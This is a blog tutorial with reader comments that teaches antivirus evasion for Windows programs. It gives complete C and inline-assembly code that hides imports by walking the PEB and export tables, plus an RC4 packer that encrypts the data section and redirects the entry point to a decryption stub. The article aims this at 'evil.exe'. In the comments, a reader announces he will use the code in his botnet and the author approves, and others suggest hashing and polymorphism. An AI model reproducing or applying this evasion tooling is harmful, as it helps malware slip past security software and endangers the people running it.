I bet you have come across some software you’ve made which you didn’t want the AV to pick up. This article explains how to import from DLLs without having to call GetProcAddress, and also how to encrypt your data section. Anti-viruses rely heavily on their heuristics, if all other (signature) scans fail. The patterns they search for in your executable, are the functions being imported, and the order they are being called.
No imports!
Having no import table is relatively easy. There are however some functions I haven’t imported dynamically, but which are very normal in any application (libc functions).
The steps you need to do are:
- Get the kernel32 module base address. (kernel32.dll is always loaded when the process is started, and so is ntdll.dll)
- Make your own GetProcAddress
- Use it to find LoadLibrary’s address, so that you can load other DLLs
- Make the functions usable in a practical way, so that you don’t have to make a prototype for each of the functions that you will load
1. Get kernel32′s base address
The first step is easy. There are lots of methods out there to retrieve the kernel32 base address, whose list of supported platforms varies greatly. I will be retrieving the address using the PEB (the linked list of the modules’ initialization order). Code:
void __declspec(naked) *kernel_addr() {
// Get kernel32 base address through PEB (initialization order)
__asm {
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x0c] // PEB->Ldr
mov eax, [eax+0x1c] // Ldr.InInitializationOrderModuleList (ntdll)
mov eax, [eax] // [ntdll].Flink (kernel32)
mov eax, [eax+0x08] // kernel32 base address
ret
}
}
You can use whichever method you want, really, as long as the end result is the kernel32 base address.
2. Our own GetProcAddress
If you have ever had to deal with the PE format, you’d know that the exports have three main structures. These are the address table, the name table, and the ordinal table. The address table is simply just an array with RVAs to functions. There is one entry for every function exported. To get the real address, you add that RVA to the base address of the module.
The name table, is another array with RVA’s to the names of the functions. The names are just strings of characters terminated by a null byte.
The problem is, the names’ index doesn’t always correspond to the functions’ index. To retrieve the index, you use the ordinal table. The ordinal table is basically just an array with an index to the corresponding function. For example EAT[0] might be the function with the name ENT[42]. In this case, EOT[42] has the value of 0. So, the ordinal table is just another table, which maps a name to a function, using the name’s index to retrieve the function’s index.
Code:
void *my_gpa(HMODULE modl, char *fname) {
unsigned long modb = (unsigned long)modl;
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
unsigned int i;
for(i = 0; i < ied->NumberOfNames; i++) {
const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(void *)))+modb;
if(!strcmp(fname, nn)) {
unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(void *))+modb);
}
}
return NULL;
}
In our code, modb is the base address of the module. Using that, we make our way to the export directory (ied), which contains the RVAs to the three tables we need. They are ied->AddressOfNames, ied->AddressOfFunctions and ied->AddressOfNameOrdinals. There’s some pointer arithmetic going on there, along with some type casting. Our function works just like GetProcAddress. It takes a module base address, and a function name, and returns a function address. We iterate through each entry in the name table.
The string is retrieved through nn. (RVA of the table + base address + i*4)+base address – each entry in the table has the size of a word (32 bits = 4 bytes), so to get to the i’th entry, we add i*4. Once we’ve gotten to the i’th entry and dereferenced it, we add the base address to get the string’s address. If the name’s are the same, get the ordinal, the same way (except that one ordinal is the size of a short, 16 bits = 2 bytes). Then using the ordinal as an index, retrieve the address of the function and return it.
3. Getting LoadLibrary’s address
Easiest step. The code speaks for itself:
HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName); dyn_ll = my_gpa(kern, "LoadLibraryA");
4. Making it usable
You will probably want to load lots of functions, not just one or two. Writing the prototypes for all of them would be tedious. Let’s make an array of functions for each module we will load, then let’s also make a function to load the APIs into these arrays. I have used kernel32, user32, and winsock. Code:
// don't forget to specify the correct calling convention
char *fn_kernel[] = {
"GetEnvironmentVariableA", // 0
"GetModuleFileNameA", // 1
"GetTickCount", // 2
"GetLocalTime", // 3
"CreateThread", // 4
"SetThreadPriority", // 5
};
unsigned long (__stdcall *func_kernel[sizeof(fn_kernel)/sizeof(*fn_kernel)])();
char *fn_user[] = {
"MessageBoxA", // 0
"GetForegroundWindow", // 1
"GetWindowTextA", // 2
};
unsigned long (__stdcall *func_user[sizeof(fn_user)/sizeof(*fn_user)])();
char *fn_wsock[] = {
"WSAStartup", // 0
"send", // 1
"connect", // 2
"socket", // 3
"gethostbyname", // 4
"closesocket", // 5
"recv", // 6
"WSACleanup", // 7
};
unsigned long (WSAAPI *func_wsock[sizeof(fn_wsock)/sizeof(*fn_wsock)])();
HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
void *my_gpa(HMODULE modl, char *fname) {
unsigned long modb = (unsigned long)modl;
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
unsigned int i;
for(i = 0; i < ied->NumberOfNames; i++) {
const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(unsigned long)))+modb;
if(!strcmp(fname, nn)) {
unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(unsigned long))+modb);
}
}
return NULL;
}
void load_imports() {
HMODULE kern, user, wsock;
unsigned long i;
kern = kernel_addr();
dyn_ll = my_gpa(kern, "LoadLibraryA");
user = dyn_ll("user32.dll");
wsock = dyn_ll("ws2_32.dll");
for(i = 0; i < sizeof(fn_kernel)/sizeof(*fn_kernel); i++)
func_kernel[i] = my_gpa(kern, fn_kernel[i]);
for(i = 0; i < sizeof(fn_user)/sizeof(*fn_user); i++)
func_user[i] = my_gpa(user, fn_user[i]);
for(i = 0; i < sizeof(fn_wsock)/sizeof(*fn_wsock); i++)
func_wsock[i] = my_gpa(wsock, fn_wsock[i]);
}
int main(int argc, char *argv[]) {
WSADATA wsd;
load_imports();
// MessageBoxA
func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
// evil stuff here
func_wsock[7](); // WSACleanup
return EXIT_SUCCESS;
}
Simple. :)
Encrypting your data section
This method is really easy, and of course it's not nearly as good as the average packer, but it keeps AVs away from your strings.
I have used the rc4 cipher, but any symmetric stream cipher would do. We need to encrypt it from another separate program, and have our program decrypt itself. Code for the encryption program:
#include <windows.h>
#include <imagehlp.h>
#include <stdlib.h>
#include <stdio.h>
#define DATA ".data" // data section's name
#define KEY "DqHAI5VN" // encryption key
#define NEW 0x11c8 // new ep rva
#define REP 0x5e4 // offset to patch with the old ep
void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
unsigned long i, j;
for(i = 0; i < 0x100; i++)
sbox[i] = (unsigned char)i;
for(j = i = 0; i < 0x100; i++) {
unsigned char tmp;
j = (j + sbox[i] + key[i % keylen]) & 0xff;
tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
}
void rc4(unsigned char sbox[0x100], unsigned char *src, unsigned char *dest, unsigned long len) {
unsigned long i, j;
i = j = 0;
while(len--) {
unsigned char tmp;
i = (i + 1) & 0xff;
j = (j + sbox[i]) & 0xff;
tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
*dest++ = *src++ ^ sbox[(sbox[i] + sbox[j]) % 0xff];
}
}
int main(int argc, char *argv) {
FILE *f = fopen("evil.exe", "r+b");
IMAGE_DOS_HEADER dosh;
IMAGE_NT_HEADERS nth;
IMAGE_SECTION_HEADER sech, dummy;
if(!f) return 1;
memset(&dummy, 0, sizeof(dummy));
fread(&dosh, 1, sizeof(dosh), f);
fseek(f, dosh.e_lfanew, SEEK_SET);
fread(&nth, 1, sizeof(nth), f);
fread(&sech, 1, sizeof(sech), f);
while(memcmp(&sech, &dummy, sizeof(dummy))) {
if(!strcmp(sech.Name, DATA)) {
unsigned char sbox[0x100], *rd = malloc(sech.SizeOfRawData);
DWORD ep, epaddr;
rc4_ksched(KEY, 8, sbox);
fseek(f, sech.PointerToRawData, SEEK_SET);
fread(rd, 1, sech.SizeOfRawData, f);
rc4(sbox, rd, rd, sech.SizeOfRawData);
fseek(f, sech.PointerToRawData, SEEK_SET);
fwrite(rd, 1, sech.SizeOfRawData, f);
free(rd);
epaddr = ((unsigned long)&nth.OptionalHeader.AddressOfEntryPoint-(unsigned long)&nth)+dosh.e_lfanew;
fseek(f, epaddr, SEEK_SET);
ep = NEW;
fwrite(&ep, 1, 4, f);
fseek(f, REP, SEEK_SET);
ep = nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase;
fwrite(&ep, 1, 4, f);
fclose(f);
return EXIT_SUCCESS;
}
fread(&sech, 1, sizeof(sech), f);
}
fclose(f);
return EXIT_FAILURE;
}
What it does is that it searches for the data section, and when found, it reads it into memory, encrypts it, and writes it back.
But to be able to decrypt it we must have some piece of code in our own executable, which will decrypt the data section using our key, and then jump back to the old entry point. Code:
void decrypt_data(unsigned long mod) {
char data[6];
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)mod;
IMAGE_SECTION_HEADER *sech = (IMAGE_SECTION_HEADER *)(mod+dosh->e_lfanew+sizeof(IMAGE_NT_HEADERS));
IMAGE_SECTION_HEADER dummy;
data[0] = '.';
data[1] = 'd';
data[2] = 'a';
data[3] = 't';
data[4] = 'a';
data[5] = 0;
memset(&dummy, 0, sizeof(dummy));
while(memcmp(sech, &dummy, sizeof(dummy))) {
if(!strcmp(sech->Name, data)) {
unsigned char sbox[0x100], key[9];
key[0] = 'D';
key[1] = 'q';
key[2] = 'H';
key[3] = 'A';
key[4] = 'I';
key[5] = '5';
key[6] = 'V';
key[7] = 'N';
key[8] = 0;
rc4_ksched(key, 8, sbox);
rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData);
return;
}
sech++;
}
exit(EXIT_FAILURE);
}
void __declspec(naked) *gba() {
__asm {
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x08] // PEB->BaseAddress
ret
}
}
void __declspec(naked) new_ep() {
if(*(unsigned long *)magic != 'x86!')
decrypt_data((unsigned long)gba());
__asm {
push 0x41414141 // placeholder
ret
}
}
And in main:
unsigned long nep_addr;
int main(int argc, char *argv[]) {
WSADATA wsd;
nep_addr = (unsigned long)&new_ep;
load_imports();
// MessageBoxA
func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
// evil stuff here
func_wsock[7](); // WSACleanup
return EXIT_SUCCESS;
}
We reference new_ep, because otherwise the optimizing compiler would notice that it is not called anywhere and would not generate code for it.
Here you will have to get some offsets. First compile the executable, and disassemble it. Find the RVA of new_ep, and put it in the encryption program source code. Then find the offset of the placeholder for the old entry point. The instruction will look like push 0x41414141. Add one to the address of that instruction, subtract the image base from it, subtract the RVA of the .text section from it, add the offset of the .text section to it, and there you have your offset. Now put it in the encryption source, compile it, run it, and everything is ready :)
Well, that was everything.
If you found this article helpful or have a question, feel free to post a comment.
2:18 pm, April 19, 2010Alex /
Nice article, I love it.
If you want to take the next step, you could add an encryption routine to the exec, so if a copy is made, it can use a new key, so no two encryptions are the same!
3:56 pm, April 19, 2010Axel /
Cool, but segfaults on win7 x64 after finding some modules. No time to debug );
4:38 pm, April 19, 2010X-N2O /
Probably differences in the PE format, I’ll check it out some time.
6:34 pm, April 20, 2010Mario Vilas /
May be a problem with the code to find the kernel32 base and replace GetProcAddress. It’s a common shellcoding trick and many shellcodes broke in Windows 7 for that reason.
6:39 pm, April 20, 2010Mario Vilas /
Never mind, I hadn’t noticed the problem was reported in x64. The inline assembly code shown here is for 32 bit platforms only.
Also the PE format changes in 64 bit platforms (DWORDs converted to QWORDs here and there). http://msdn.microsoft.com/en-us/magazine/cc301805.aspx
7:06 pm, April 20, 2010whocares /
also many malwares currently avoid to use function names in clear, they just hashes, pretty much the same technique used in shellcoding even if for different reasons :>
8:35 am, April 21, 2010Snake /
Tnx X-N2O !
very useful for me , cuz I’m newbie in this kind of stuffs..
8:20 pm, April 21, 2010illustion /
nice artical X-N20,but there is one thing though that there some apis that only export by ordinal not by name,thus not having a name.
2:05 pm, April 22, 2010X-N2O /
Sure there are, but you can easily modify my_gpa to retrieve functions by ordinal.
7:29 pm, April 24, 2010nasgeneration /
Bigg thanks , its help me alot
9:41 pm, May 10, 2010Ducky /
Awesome! Thanks for sharing!
2:57 am, May 21, 2010nofrillz /
sexy gary
3:20 pm, June 9, 2010shebaw /
Awesome article, I’m going to join rohitab since almost all of you veteran programmers turned out to be great coders (unlike most “coding” sites, where the coders are script kidies).
4:39 pm, August 12, 2010axlyb /
greate article,thanks for you share your knowlages
11:29 pm, January 7, 2011Chaz /
Love your blog. Wish it was updated more frequently.
5:15 pm, March 29, 2011shebaw /
The shell code for finding PEB doesn’t work on Windows 7.
Checkout http://my.opera.com/wolfcod/blog/windows-7-retriev-kernel32-base-address
for work around
6:47 pm, May 1, 2011Ducky /
Never mind, i compiled it as c++.
12:18 am, July 17, 2011Hav0c /
hey X-N2O, i’ll be using a modification of the code in this guide on my botnet
hope you don’t mind :p
also, i’m using mingw32, which uses AT&T syntax for inline assembler, and it sucks balls, so a tip to anyone using mingw32, i used nasm to compile an object file (.obj), and linked it to the rest of the C code.
And finally, X-N2O, you should put online a guide on how to encrypt the .text section, not just the .data :p. Also, im sure that there is a way to encrypt the data in memory using offsets instead of poking around with those damn pe headers.
12:46 pm, July 18, 2011X-N2O /
You’re most welcome to use it Hav0c.
Encrypting .text isn’t that hard, and it’s done similarly to this method. Making a metamorphic engine would be way more challenging :)
11:01 pm, July 19, 2011Hav0c /
heh, yeah, but metamorphisme is way to much of a pain in the ass. I would start-off with simple polymorphisme, and than update it if the need arise. :)
Btw, i dont really undersand, in the .data encryption code, could you specify the macros NEW and REP? i know they’re offsets, but what i don’t know is what they’re for, or to what i should change them to for other executables (sorry if this sounds noobish, messing with PE structs aren’t an habit for me, and as such i don’t quite get most of that code). Btw, at VXChaos, there’s a pdf on “how to build your own PE protector” or something alike, can’t really recall on what section it is though. But then again, that pdf’s for .text, not really .data, and even less .bss
On a last note, please make more of these guides, as i enjoy reading them, and also, i changed the gpa() function to only search for hashes rather than name (CRC32, a technique which i belive was created by some vx’er to save some space on one of his viruses), which i belive was what ‘whocares’ said on his post. Anyway, i can borrow you the source (not just the CRC32 functions, i really mean the whole thing) if you’re interested. And if you are, you know how to contact me :)
tl;dr: more info on NEW and REP macros, and more guides. that is all
2:05 pm, July 20, 2011X-N2O /
In order to decrypt the .data what you need is a decryption stub. The decryption stub is already there, but it needs to be called before the original entry point. This decryption stub is new_ep. We need to change the EP of the executable to the RVA of new_ep. That’s what the NEW constant is. Next, after new_ep is done with decrypting, it should call/jump to the original EP. Hence we need to patch the placeholder (0×41414141) with the original EP VA. The REP constant contains the offset of the placeholder in the executable file.
6:19 pm, July 21, 2011Hav0c /
I see, thanks for clearing things out :p